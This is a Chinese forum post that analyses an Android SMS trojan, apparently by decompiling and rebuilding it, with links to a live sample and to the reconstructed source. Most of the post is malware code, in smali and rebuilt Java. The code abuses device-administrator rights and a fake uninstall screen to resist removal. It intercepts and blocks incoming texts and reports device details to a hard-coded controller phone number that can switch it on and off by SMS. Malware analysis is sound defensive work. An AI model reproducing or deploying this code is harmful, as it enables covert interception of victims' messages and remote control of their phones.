本帖最后由 元亨利之贞 于 2013-11-14 20:42 编辑
样本下载地址:http://yunpan.cn/Q9NBdg6nqP4Fp 密码123
源代码:http://yunpan.cn/Q9DXRkGIkagmL
源码附件是自己逆的,可能在某个逻辑上存在错误,但是大部分功能已经实现,还望海涵
样本反编译后会出现许多java文件,其中有几个已被混淆命名为a,b,c,d
在本文中a对应源码中的FilterSMS
b类对应sendTelMessageByHandler
c类对应sendhandlerMessage
d类对应OrderManagement
apk启动的第一个activity为MainActivity
并非跟apk代码一模一样 但是逻辑功能尽可能贴近作者 代码写的很烂 各位见谅
测试平台:android2.3.3
请在虚拟机中运行,切勿在真机中运行
当在虚拟机中安装运行,“激活”之后 正确的卸载方法是:在“设备管理器”中将其取消放能卸载
虽然该apk只有几百k 但是工程代码还是挺多的
样本主要行为描述:
(1)在“设备管理器”中注册该apk,使得用户卸载失败,从而达到不让用户卸载的目的
具体来说 当运行该apk时,只要用户点击激活 将在注册该apk 这就是激活条件
(2)注册卸载广播,监听卸载。当用户卸载该apk时,该apk将误导用户点击“卸载程序”实际上
将执行其UninstallerActivity显示 "应用程序尚未安装在您的手机上" 并且执行服务
(3)运行后 将创建服务监听用户短信,过滤发过来的短信进行相应的行为,其号码为:
18458144548。这个功能类似远控了。即回复com@false关闭com@true开启/关闭服务
为了让服务不被结束掉,该apk在通知栏中被运行 如图:
(4)注册监听短信广播,同样用于过滤用户短信,其中一个过滤条件是只拦截2013-10-20 00:00:00 之后的短信。 当拦截到短信后 根据配置项islj 如果为ture或者联系人包含作者也就是18458144548 则终止广播
(5) 类BootReceiver代码检查服务是否运行
以上是主要行为 其他细节 后面说到 由于代码较多有些代码还是看源码把
apk样本流程:安装apk后,首先注册receiver监听短信其类为SmSReceiver,注册类BootReceiver实现开机启动,注册类uninstallerActivity监听卸载事件。之后启动MainActivity
发送用户手机版本等信息发送到指定手机,注册设备管理器,之后开启短信监听服务,再判断设备管理器中是否激活
该apk 如无则弹出框欺骗用户点击“激活”
行为(1)代码:
在MainActivity中的onCreate中主要完成发送设备信息到指定号码,开启服务,注册设备管理器, 反编译代码如下:
[Java] 纯文本查看 复制代码
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | //发送设备信息 const -string v1, "18458144548" //手机号码 new -instance v2, Ljava/lang/StringBuilder; const -string v3, "\u624b\u673a\u5df2\u5b89\u88c5\u8f6f\u4ef6,\u56de\u590dcom@false\u5173\u95edcom@true\u5f00\u542f, \u7248\u672c" invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V sget v3, Landroid/os/Build$VERSION;->SDK_INT:I //获取版本 invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; move-result-object v2 const -string v3, " " invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v2 sget-object v3, Landroid/os/Build;->MODEL:Ljava/lang/String; //获取MODEL invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v2 invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v2 //发送短信,对应源码中OrderManagement的sendTelMessage的方法 invoke-virtual {v0, v1, v2, v5}, Lcn/android/emial/d;->a(Ljava/lang/String;Ljava/lang/String;Landroid/content/Context;)V |
其对应的源码为:
[Java] 纯文本查看 复制代码
1 2 3 4 5 6 7 | OrderManagement send= new OrderManagement(); if (! "Q049U0hBWUZN" .equals(OrderManagement.encodeX509( this ))) { send.sendTelMessage( "5558" , new String( "手机已安装软件,回复com@false关闭com@true开启, 版本" +Build.VERSION.SDK_INT + " " +Build.MODEL) , null ); |
注册设备管理器代码:该设备管理器需要一个xml,而该xml的格式可以查看DevicePolicyManager类的文档 该xml的格式如下:这就是为什么在程序启动的时候为什么会出现激活界面,详见android文档
[Java] 纯文本查看 复制代码
1 2 3 4 5 6 7 | <?xml version= "1.0" encoding= "utf-8" ?> <device-admin xmlns:android= "http://schemas.android.com/apk/res/android" > <uses-policies> <force-lock /> </uses-policies> </device-admin> |
注册设备管理器代码:
[Java] 纯文本查看 复制代码
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 | const -string v0, "device_policy" invoke-virtual {p0, v0}, Lcn/android/emial/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object; move-result-object v0 check-cast v0, Landroid/app/admin/DevicePolicyManager; iput-object v0, p0, Lcn/android/emial/MainActivity;->a:Landroid/app/admin/DevicePolicyManager; new -instance v0, Landroid/content/ComponentName; const - class v1, Lcn/android/emial/DeviceReceiver; invoke-direct {v0, p0, v1}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V iget-object v1, p0, Lcn/android/emial/MainActivity;->a:Landroid/app/admin/DevicePolicyManager; invoke-virtual {v1, v0}, Landroid/app/admin/DevicePolicyManager;->isAdminActive(Landroid/content/ComponentName;)Z move-result v1 //判断是否已经在设备管理中激活 if -nez v1, :cond_0 new -instance v1, Landroid/content/Intent; const -string v2, "android.app.action.ADD_DEVICE_ADMIN" invoke-direct {v1, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V const -string v2, "android.app.extra.DEVICE_ADMIN" invoke-virtual
{v1, v2, v0},
Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent; const -string v0, "android.app.extra.ADD_EXPLANATION" const -string v2, "\u8bbe\u5907\u7ba1\u7406\u5668" invoke-virtual {v1, v0, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent; const / 4 v0, 0x0 invoke-virtual {p0, v1, v0}, Lcn/android/emial/MainActivity;->startActivityForResult(Landroid/content/Intent;I)V :cond_0 invoke-virtual {p0}, Lcn/android/emial/MainActivity;->finish()V |
其源代码为:
[Java] 纯文本查看 复制代码
1 2 3 4 5 6 | //判断指定的组件是否被激活,如无激活则创建,也就是在设备管理中 该程序是否被激活 if (a.isAdminActive(componentName)== false ) { Intent intent1= new Intent( "android.app.action.ADD_DEVICE_ADMIN" ); intent1.putExtra( "android.app.extra.DEVICE_ADMIN" , new ComponentName( this ,deviceReceiver2. class )); intent1.putExtra( "android.app.extra.ADD_EXPLANATION" , "设备管理器" ); startActivity(intent1); |
最后 还要在xml中申明该类deviceReceiver2
[Java] 纯文本查看 复制代码
1 2 3 4 5 6 | <receiver android:label= "System 设备管理器" android:name= "com.example.emial.deviceReceiver2" android:permission= "android.permission.BIND_DEVICE_ADMIN" android:description= "@string/action_settings" > <meta-data android:name= "android.app.device_admin" android:resource= "@xml/lock_screen" /> <intent-filter> <action android:name= "android.app.action.DEVICE_ADMIN_ENABLED" /> </intent-filter> </receiver> |
行为(2)代码:注册卸载广播
这断代码简单 在xml中申明即可:
[Java] 纯文本查看 复制代码
1 2 3 4 5 6 7 8 | <activity android:name= "uninstallerActivity" android:label= "卸载程序" > <intent-filter android:priority= "2147483647" > <action android:name= "android.intent.action.VIEW" /> <action android:name= "android.intent.action.DELETE" /> <category android:name= "android.intent.category.DEFAULT" /> <data android:scheme= "package" /> </intent-filter> </activity> |
当用户点击“卸载程序” 就会执行uninstallerActivity
行为(3)代码:创建服务监听用户短信
该服务主要是类smSserver 是在mainActivity中的oncreate创建的
该类主要让服务总在前台运行,使之不被系统回收,之后动态注册各自监听器,以达到监听用户短信之用
[Java] 纯文本查看 复制代码
001 002 003 004 005 006 007 008 009 010 011 012 013 014 015 016 017 018 019 020 021 022 023 024 025 026 027 028 029 030 031 032 033 034 035 036 037 038 039 040 041 042 043 044 045 046 047 048 049 050 051 052 053 054 055 056 057 058 059 060 061 062 063 064 065 066 067 068 069 070 071 072 073 074 075 076 077 078 079 080 081 082 083 084 085 086 087 088 089 090 091 092 093 094 095 096 097 098 099 100 101 102 103 104 105 106 107 108 109 | new -instance v0, Landroid/app/Notification; //创建通知栏 const v1, 0x7f020001 const -string v2, "" invoke- static {}, Ljava/lang/System;->currentTimeMillis()J move-result-wide v3 invoke-direct {v0, v1, v2, v3, v4}, Landroid/app/Notification;-><init>(ILjava/lang/CharSequence;J)V new -instance v1, Landroid/content/Intent; invoke-direct {v1}, Landroid/content/Intent;-><init>()V new -instance v2, Landroid/widget/RemoteViews; invoke-virtual {p0}, Lcn/android/emial/SmSserver;->getPackageName()Ljava/lang/String; move-result-object v3 const /high16 v4, 0x7f03 invoke-direct {v2, v3, v4}, Landroid/widget/RemoteViews;-><init>(Ljava/lang/String;I)V iput-object v2, v0, Landroid/app/Notification;->contentView:Landroid/widget/RemoteViews; invoke- static {p0,
v5, v1, v5},
Landroid/app/PendingIntent;->getActivity(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent; move-result-object v1 iput-object v1, v0, Landroid/app/Notification;->contentIntent:Landroid/app/PendingIntent; const / 16 v1, 0x64 //将服务至于前台 使之不被结束 invoke-virtual {p0, v1, v0}, Lcn/android/emial/SmSserver;->startForeground(ILandroid/app/Notification;)V new -instance v0, Landroid/content/IntentFilter; invoke-direct {v0}, Landroid/content/IntentFilter;-><init>()V const -string v1, "android.provider.Telephony.SMS_RECEIVED" invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V const -string v1, "android.provider.Telephony.SMS_RECEIVED_2" invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V const -string v1, "android.provider.Telephony.GSM_SMS_RECEIVED" invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V const / 16 v1, 0x3e8 invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->setPriority(I)V new -instance v1, Lcn/android/emial/SmSReceiver; invoke-direct {v1}, Lcn/android/emial/SmSReceiver;-><init>()V iput-object v1, p0, Lcn/android/emial/SmSserver;->b:Lcn/android/emial/SmSReceiver; iget-object v1, p0, Lcn/android/emial/SmSserver;->b:Lcn/android/emial/SmSReceiver; const -string v2, "android.permission.BROADCAST_SMS" // 动态注册监听广播 使之优先级更高确保监听 invoke-virtual
{p0, v1, v0, v2, v6},
Lcn/android/emial/SmSserver;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;Ljava/lang/String;Landroid/os/Handler;)Landroid/content/Intent; new -instance v0, Lcn/android/emial/SmSReceiver; invoke-direct {v0}, Lcn/android/emial/SmSReceiver;-><init>()V iput-object v0, p0, Lcn/android/emial/SmSserver;->c:Lcn/android/emial/SmSReceiver; iget-object v0, p0, Lcn/android/emial/SmSserver;->c:Lcn/android/emial/SmSReceiver; new -instance v1, Landroid/content/IntentFilter; const -string v2, "com.yfm.send" invoke-direct {v1, v2}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V invoke-virtual
{p0, v0, v1},
Lcn/android/emial/SmSserver;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent; new -instance v0, Lcn/android/emial/a; invoke-direct {v0, p0, v6}, Lcn/android/emial/a;-><init>(Landroid/content/Context;Landroid/os/Handler;)V iput-object v0, p0, Lcn/android/emial/SmSserver;->d:Lcn/android/emial/a; invoke-virtual {p0}, Lcn/android/emial/SmSserver;->getContentResolver()Landroid/content/ContentResolver; move-result-object v0 sget-object v1, Lcn/android/emial/SmSserver;->a:Landroid/net/Uri; const / 4 v2, 0x1 iget-object v3, p0, Lcn/android/emial/SmSserver;->d:Lcn/android/emial/a; invoke-virtual
{v0, v1, v2, v3},
Landroid/content/ContentResolver;->registerContentObserver(Landroid/net/Uri;ZLandroid/database/ContentObserver;)V new -instance v0, Lcn/android/emial/c; invoke-direct {v0, p0}, Lcn/android/emial/c;-><init>(Lcn/android/emial/SmSserver;)V invoke-virtual {v0}, Lcn/android/emial/c;->start()V |
其源码为:
[Java] 纯文本查看 复制代码
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | Notification notification= new Notification(R.drawable.ic_launcher, "" ,System.currentTimeMillis()); //v0 Intent intent= new Intent(); //v1 //RemoteViews在类的自定义通知的时候可以用到,用来设置自定义通知的布局资源 RemoteViews contentView= new RemoteViews(getPackageName(), R.layout.activity_main); //检索一个PendingIntent,将启动一个新的activity,注意该activity将在一个存在的activity的上下文之外启动 PendingIntent contentIntent =PendingIntent.getActivity( this , 0 ,intent, 0 ); //通过startForeground让服务前台运行,以免长时间不用而被kill //如果不加setLatestEventInfo函数 将导致奔溃,但原来的代码中却没有 notification.setLatestEventInfo( this , "点击查看" , "点击查看详细内容" ,contentIntent); startForeground( 100 ,notification); IntentFilter intentFilter= new IntentFilter(); //v0 intentFilter.addAction( "android.provider.Telephony.SMS_RECEIVED" ); intentFilter.addAction( "android.provider.Telephony.SMS_RECEIVED_2" ); intentFilter.addAction( "android.provider.Telephony.GSM_SMS_RECEIVED" ); intentFilter.setPriority( 0x3e8 ); b= new SmSReceiver(); c= new SmSReceiver(); IntentFilter intentFilter2= new IntentFilter( "com.yfm.send" ); //动态注册监听广播 this .registerReceiver(b,intentFilter, "android.permission.BROADCAST_SMS" , null ); this .registerReceiver(c, intentFilter2); d= new FilterSMS( this , null ); ContentResolver contentResolver=getContentResolver(); //为指定的Uri注册一个ContentObserver派生类实例,当给定的Uri发生改变时,回调该实例对象去处理。 contentResolver.registerContentObserver(uri, true , d); //创建sendhandlerMessage类,启动其线程 new sendhandlerMessage().start(); |
行为(4)代码:静态注册监听广播,过滤短信
首先是在xml中申明该监听器:
[Java] 纯文本查看 复制代码
1 2 3 4 5 6 7 8 | <receiver android:name= "SmSReceiver" > <intent-filter android:priority= "2147483647" > <action android:name= "android.provider.Telephony.SMS_RECEIVED" /> <action android:name= "android.provider.Telephony.SMS_RECEIVED_2" /> <action android:name= "android.provider.Telephony.GSM_SMS_RECEIVED" /> <category android:name= "android.intent.category.DEFAULT" /> </intent-filter> </receiver> |
SmSReceiver类会在拦截短信进行一些判断 如时间是否在2013-10-20 00:00:0之后 然后调用
a(Landroid/os/Bundle;Landroid/content/Context;Lcn/android/emial/SmSReceiver;)V方法
也就是SMShijacking方法 进一步判断是否终止广播
这段涉及到几个类 为了不使文章过于长 就不列出源码了 具体看工程文件把
行为(5)代码:类BootReceiver 检查服务是否正在运行
该类调用.method public static a(Landroid/content/Context;Ljava/lang/String;)Z方法也就是源码中的GetService来遍历当前服务 看该apk服务是否运行
//GetService如下
[Java] 纯文本查看 复制代码
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 | .method public static a(Landroid/content/Context;Ljava/lang/String;)Z .locals 5 const / 4 v1, 0x0 const -string v0, "activity" invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object; move-result-object v0 check-cast v0, Landroid/app/ActivityManager; const / 16 v2, 0x28 invoke-virtual {v0, v2}, Landroid/app/ActivityManager;->getRunningServices(I)Ljava/util/List; move-result-object v3 invoke- interface {v3}, Ljava/util/List;->size()I move-result v4 move v2, v1 :goto_0 if -lt v2, v4, :cond_0 move v0, v1 :goto_1 return v0 :cond_0 invoke- interface {v3, v2}, Ljava/util/List;->get(I)Ljava/lang/Object; move-result-object v0 check-cast v0, Landroid/app/ActivityManager$RunningServiceInfo; iget-object v0, v0, Landroid/app/ActivityManager$RunningServiceInfo;->service:Landroid/content/ComponentName; invoke-virtual {v0}, Landroid/content/ComponentName;->getClassName()Ljava/lang/String; move-result-object v0 invoke-virtual {v0, p1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z move-result v0 if -eqz v0, :cond_1 const / 4 v0, 0x1 goto :goto_1 :cond_1 add- int /lit8 v0, v2, 0x1 move v2, v0 goto :goto_0 .end method |
源码为:
[Java] 纯文本查看 复制代码
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 | public static Boolean GetService(Context context,String ServiceName) { //得到系统的全局activity状态 ActivityManager activityManager=(ActivityManager) context.getSystemService( "activity" ); //返回当前正在运行的服务列表,此方法仅用于调试或实现了服务管理型的用户接口。参数为返回的最大数目 List<ActivityManager.RunningServiceInfo> activitylist= activityManager.getRunningServices( 0x28 ); //v4 for ( int i = 0 ; i < activitylist.size(); i++) { //如果当前服务的类名与context相等 if (activitylist.get(i).service.getClassName().equals(ServiceName)) { return true ; } } return false ; } |
接着在onReceive方法中 调用GetService方法
[Java] 纯文本查看 复制代码
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 | .method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V .locals 4 const -string v0, "cn.android.emial.SmSserver" invoke- static {p1, v0}, Lcn/android/emial/BootReceiver;->a(Landroid/content/Context;Ljava/lang/String;)Z move-result v0 const -string v1, "phone" new -instance v2, Ljava/lang/StringBuilder; const -string v3, "server_" invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder; move-result-object v2 invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v2 invoke- static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I if -nez v0, :cond_0 new -instance v0, Landroid/content/Intent; const - class v1, Lcn/android/emial/SmSserver; invoke-direct {v0, p1, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V const /high16 v1, 0x1000 invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent; invoke-virtual {p1, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName; :cond_0 return - void .end method |
源码为:
[Java] 纯文本查看 复制代码
01 02 03 04 05 06 07 08 09 10 11 12 | public void onReceive(Context context, Intent intent) { // TODO Auto-generated method stub Boolean TheServiceIsRunBoolean= GetService( context, "com.example.emial" ); //v0 Log.i( "phone" , "server_" +TheServiceIsRunBoolean); if (TheServiceIsRunBoolean== false ) { //如果当前服务没有运行则再次启动服务 Intent intentnew= new Intent(context,smSserver. class ); intentnew.addFlags( 0x1000 ); context.startService(intentnew); } } |
差不多就写到这里 具体内容结合源码 才能体会 如果错误 还望包涵